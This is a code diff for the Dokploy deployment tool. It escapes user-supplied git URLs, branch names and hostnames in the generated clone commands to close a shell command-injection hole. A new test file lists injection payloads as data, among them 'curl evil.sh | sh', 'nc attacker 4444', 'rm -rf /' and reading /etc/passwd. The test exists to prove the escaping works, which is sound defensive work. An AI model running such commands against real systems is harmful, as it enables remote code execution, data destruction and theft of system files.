diff --git a/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts
new file mode 100644
index 000000000..12e839567
--- /dev/null
+++ b/apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts
@@ -0,0 +1,87 @@
+import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
+import { shellWord } from "@dokploy/server/utils/providers/utils";
+import { parse } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// Payloads that, if reached a shell unescaped, would execute commands.
+const INJECTION_PAYLOADS = [
+ "$(touch /tmp/pwned)",
+ "`id`",
+ "; rm -rf /",
+ "&& curl evil.sh | sh",
+ "| nc attacker 4444",
+ "https://github.com/o/r.git$(whoami)",
+ "main; wget http://evil",
+ "$(cat /etc/passwd)",
+];
+
+// Legit values that must survive escaping unchanged.
+const LEGIT_VALUES = [
+ "main",
+ "feature/login-v2",
+ "release-1.2.3",
+ "https://github.com/dokploy/dokploy.git",
+ "https://gitlab.example.com/group/sub/project.git",
+];
+
+describe("shellWord (git provider shell escaping)", () => {
+ it("collapses every injection payload into a single literal token (no shell operators)", () => {
+ for (const payload of INJECTION_PAYLOADS) {
+ const parsed = parse(shellWord(payload));
+ // A safely escaped value parses back to exactly the original string,
+ // as ONE token. If escaping failed, parse() would emit operator
+ // objects such as { op: ";" } or { op: "$(" } instead.
+ expect(parsed).toEqual([payload]);
+ }
+ });
+
+ it("leaves legitimate URLs and branch names intact", () => {
+ for (const value of LEGIT_VALUES) {
+ expect(parse(shellWord(value))).toEqual([value]);
+ }
+ });
+});
+
+describe("cloneGitRepository command (customGitUrl path)", () => {
+ const buildClone = (customGitUrl: string, customGitBranch: string) =>
+ cloneGitRepository({
+ appName: "demo-app",
+ customGitUrl,
+ customGitBranch,
+ customGitSSHKeyId: null,
+ enableSubmodules: false,
+ serverId: null,
+ type: "application",
+ });
+
+ // A malicious substring, once escaped, must survive parsing as inert literal
+ // text and never as an executable command/operator. `parse()` turns command
+ // substitution and control operators into { op } objects, so we assert the
+ // injected marker only ever shows up inside a plain string token.
+ const markerLeaksAsShellSyntax = (command: string, marker: string) => {
+ const tokens = parse(command);
+ return tokens.some(
+ (t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
+ );
+ };
+
+ it("does not let a malicious customGitUrl inject shell operators", async () => {
+ const command = await buildClone(
+ "https://github.com/o/r.git$(touch /tmp/pwned)",
+ "main",
+ );
+ expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
+ expect(command).toContain("git clone");
+ });
+
+ it("does not let a malicious customGitBranch inject shell operators", async () => {
+ const command = await buildClone(
+ "https://github.com/o/r.git",
+ "main; touch /tmp/pwned",
+ );
+ // The branch is a single quoted token, so its ";" contributes no extra
+ // operator and `touch` never becomes a runnable statement.
+ expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
+ expect(command).not.toContain("touch /tmp/pwned;");
+ });
+});
diff --git a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx
index c2e249c2d..ddcef338e 100644
--- a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx
+++ b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx
@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
Docker Cleanup
- Trigger the action when Docker cleanup is
- performed.
+ Trigger the action when Docker cleanup is performed.
diff --git a/packages/server/src/utils/providers/bitbucket.ts b/packages/server/src/utils/providers/bitbucket.ts
index d2be27a67..d0275d76e 100644
--- a/packages/server/src/utils/providers/bitbucket.ts
+++ b/packages/server/src/utils/providers/bitbucket.ts
@@ -11,6 +11,7 @@ import {
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
import type { z } from "zod";
+import { shellWord } from "./utils";
export type ApplicationWithBitbucket = InferResultType<
"applications",
@@ -124,8 +125,8 @@ export const cloneBitbucketRepository = async ({
const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
- command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
- command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+ command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
+ command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command;
};
diff --git a/packages/server/src/utils/providers/git.ts b/packages/server/src/utils/providers/git.ts
index 8e7c71839..07d6b0e1a 100644
--- a/packages/server/src/utils/providers/git.ts
+++ b/packages/server/src/utils/providers/git.ts
@@ -5,6 +5,7 @@ import {
updateSSHKeyById,
} from "@dokploy/server/services/ssh-key";
import { execAsync, execAsyncRemote } from "../process/execAsync";
+import { shellWord } from "./utils";
interface CloneGitRepository {
appName: string;
@@ -61,7 +62,7 @@ export const cloneGitRepository = async ({
}
command += `rm -rf ${outputPath};`;
command += `mkdir -p ${outputPath};`;
- command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`;
+ command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`;
if (customGitSSHKeyId) {
await updateSSHKeyById({
@@ -78,8 +79,8 @@ export const cloneGitRepository = async ({
command += "chmod 600 /tmp/id_rsa;";
command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
}
- command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then
- echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}";
+ command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then
+ echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)};
exit 1;
fi
`;
@@ -114,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
// it, and its exit code must not abort the clone under `set -e`. The clone's
// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
- return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`;
+ return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`;
};
const sanitizeRepoPathSSH = (input: string) => {
const SSH_PATH_RE = new RegExp(
diff --git a/packages/server/src/utils/providers/gitea.ts b/packages/server/src/utils/providers/gitea.ts
index 20c86a589..5292a7a30 100644
--- a/packages/server/src/utils/providers/gitea.ts
+++ b/packages/server/src/utils/providers/gitea.ts
@@ -7,6 +7,7 @@ import {
} from "@dokploy/server/services/gitea";
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
+import { shellWord } from "./utils";
export const getErrorCloneRequirements = (entity: {
giteaRepository?: string | null;
@@ -176,8 +177,8 @@ export const cloneGiteaRepository = async ({
giteaRepository!,
);
- command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
- command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+ command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
+ command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command;
};
diff --git a/packages/server/src/utils/providers/github.ts b/packages/server/src/utils/providers/github.ts
index 6309cf307..e004a8c62 100644
--- a/packages/server/src/utils/providers/github.ts
+++ b/packages/server/src/utils/providers/github.ts
@@ -7,6 +7,7 @@ import { createAppAuth } from "@octokit/auth-app";
import { TRPCError } from "@trpc/server";
import { Octokit } from "octokit";
import type { z } from "zod";
+import { shellWord } from "./utils";
export const authGithub = (githubProvider: Github): Octokit => {
if (!haveGithubRequirements(githubProvider)) {
@@ -166,8 +167,8 @@ export const cloneGithubRepository = async ({
command += `mkdir -p ${outputPath};`;
const cloneUrl = `https://oauth2:${token}@${repoclone}`;
- command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`;
- command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+ command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
+ command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command;
};
diff --git a/packages/server/src/utils/providers/gitlab.ts b/packages/server/src/utils/providers/gitlab.ts
index 02121d346..816979586 100644
--- a/packages/server/src/utils/providers/gitlab.ts
+++ b/packages/server/src/utils/providers/gitlab.ts
@@ -9,6 +9,7 @@ import {
import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server";
import type { z } from "zod";
+import { shellWord } from "./utils";
export const refreshGitlabToken = async (gitlabProviderId: string) => {
const gitlabProvider = await findGitlabById(gitlabProviderId);
@@ -151,8 +152,8 @@ export const cloneGitlabRepository = async ({
command += `mkdir -p ${outputPath};`;
const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
- command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`;
- command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`;
+ command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
+ command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command;
};
diff --git a/packages/server/src/utils/providers/utils.ts b/packages/server/src/utils/providers/utils.ts
new file mode 100644
index 000000000..ff82a6b11
--- /dev/null
+++ b/packages/server/src/utils/providers/utils.ts
@@ -0,0 +1,10 @@
+import { quote } from "shell-quote";
+
+/**
+ * Escapes a single value so it can be safely interpolated as one argument into
+ * a `/bin/sh -c` command string (both local `execAsync` and remote SSH
+ * `execAsyncRemote`). User-controlled fields such as git URLs, branch names,
+ * repository owners and SSH hostnames must never reach a shell unescaped.
+ */
+export const shellWord = (value: string | number | null | undefined): string =>
+ quote([String(value ?? "")]);